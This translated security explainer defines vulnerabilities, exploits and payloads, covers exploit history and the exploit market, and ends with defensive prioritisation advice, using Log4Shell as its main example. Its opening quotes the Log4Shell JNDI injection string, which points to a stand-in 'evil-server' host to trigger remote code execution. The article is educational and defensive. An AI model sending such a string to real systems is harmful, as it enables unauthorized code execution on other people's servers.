What Is an Exploit: How a Flaw in Someone Else's Code Becomes Unauthorized Access to Your Server

The article explains the critical distinction between a vulnerability and an exploit using the Log4Shell incident as the primary example. It breaks down how Log4j's JNDI lookup flaw allowed remote code execution simply by logging a crafted string, leading to CVE-2021-44228 with a maximum CVSS score. The piece covers the full lifecycle from vulnerability discovery to payload delivery, including memory corruption, injection flaws, and logical errors. It details defensive mechanisms such as stack canaries, DEP, ASLR, and CFG, along with attacker responses like ROP chains. Real-world cases including Zerologon, Heartbleed, Stuxnet, and WannaCry illustrate the progression from single bugs to multi-stage exploit chains. The text also addresses zero-day economics, exploit kits, bug bounty programs, and practical mitigation strategies centered on KEV catalogs and EPSS scoring.

SecuritylabTranslated from Russian

Read at source

On December 9, 2021, Minecraft players noticed an oddity. Typing a string like ${jndi:ldap://evil-server/a} into the public chat caused the game server, which merely logged the message, to fetch and execute remote code over the internet. No attachments, no macros, no clicks required—just text in chat.

Within a day the issue received identifier CVE-2021-44228, a maximum CVSS score of 10, and the name Log4Shell. The culprit was Log4j, a mundane logging library embedded in millions of Java applications ranging from corporate portals to warehouse management systems. Apache released an emergency patch, the world spent six weeks hunting vulnerable builds, and attackers scanned networks in bulk.

This is precisely where the difference between “the program contains a bug” and “this bug has already been used to compromise me” lives. That difference is called an exploit.

Exploit in Plain Terms

An exploit is code, a command sequence, or a series of actions that converts a theoretical vulnerability into a practical outcome for the attacker. The term derives from the English verb “to exploit.” Russian regulatory documents from FSTEC use the more precise phrase “exploitation of a vulnerability.”

Three concepts are frequently confused even by experienced administrators:

  • Vulnerability is the defect itself—forgotten input-length checks, leftover test accounts, or overly permissive network access rules.
  • Exploit is the specific key crafted for that defect, knowing exact byte counts, field locations, and offsets.
  • Payload is the actual objective—reverse shell, ransomware, miner, or persistence mechanism.

The apartment analogy works well: the vulnerability is a faulty lock that opens with a paperclip; the exploit is the precisely bent paperclip; the burglar carrying a bag is the payload.

Where Vulnerabilities Come From

They come from people. The Linux kernel exceeded 40 million lines of code by 2026. Common families include memory-safety errors in C/C++, injection flaws such as SQL or JNDI substitution, logical business-logic errors exemplified by Zerologon (CVE-2020-1472), and misconfigurations including exposed management interfaces.

Inside an Exploit

The story begins with the Morris Worm on November 2, 1988, which abused the unchecked gets() function in fingerd. Eight years later Aleph One’s “Smashing the Stack for Fun and Profit” explained stack overflows. Defenses followed—stack canaries, DEP (2004), ASLR (2007), CFG/CFI, and ARM PAC/MTE—prompting attackers to adopt return-oriented programming (ROP) chains described by Hovav Shacham in 2007. Modern browser exploitation now requires weeks of heap grooming, ASLR bypass via leaks, and sandbox escapes.

Types of Exploits

Remote code execution (RCE) such as Log4Shell, local privilege escalation (LPE) such as Dirty Pipe (CVE-2022-0847), authentication bypass such as Zerologon, sandbox escapes, information disclosure such as Heartbleed (CVE-2014-0160), and denial of service.

Zero-Day and N-Day Exploits

A zero-day targets an unpatched flaw. Google Threat Intelligence Group recorded 90 zero-days used in attacks during 2025. Most mass compromises, however, rely on n-day vulnerabilities whose patches have been available for months or years.

Proof-of-Concept versus Weaponized Exploits

A PoC merely demonstrates exploitability. Turning it into a reliable, multi-version module takes far longer. Frameworks such as Metasploit and archives such as Exploit-DB lower the barrier once public modules appear.

Exploit Kits and Economics

Exploit kits such as Angler packaged browser exploits for drive-by downloads. The Russian group Lurk was linked to Angler operations before its 2016 takedown. Today the market has shifted toward corporate perimeter devices. Legal bug-bounty programs, gray-market brokers such as Zerodium and Crowdfense, and criminal forums price exploits differently, with zero-days reaching millions of dollars.

Practical Defenses

Organizations should prioritize the CISA KEV catalog (now over 1,300 entries), FSTEC threat database, and EPSS scores rather than raw CVSS numbers. Additional measures include attack-surface reduction, virtual patching via WAF, network segmentation, and behavioral monitoring. The 2017 WannaCry outbreak, powered by the leaked EternalBlue exploit for which a patch had existed for eight weeks, remains the clearest illustration of delayed patching consequences.

While Russian law (Article 273) creates uncertainty for researchers, participation in official bug-bounty programs with written authorization remains the safest legal posture.

Meridian digestThe week's most consequential security stories, distilled into one briefing.See the digest

More in Vulnerabilities & Exploits

Telegram for Android Patches Voice Call Vulnerability Enabling Code Execution
Yandex Patches Millions of Stations After eMudhra Certificate Keys Compromised
Cisco ASA and FTD Face DoS Vulnerability in SSL VPN Already Exploited in the Wild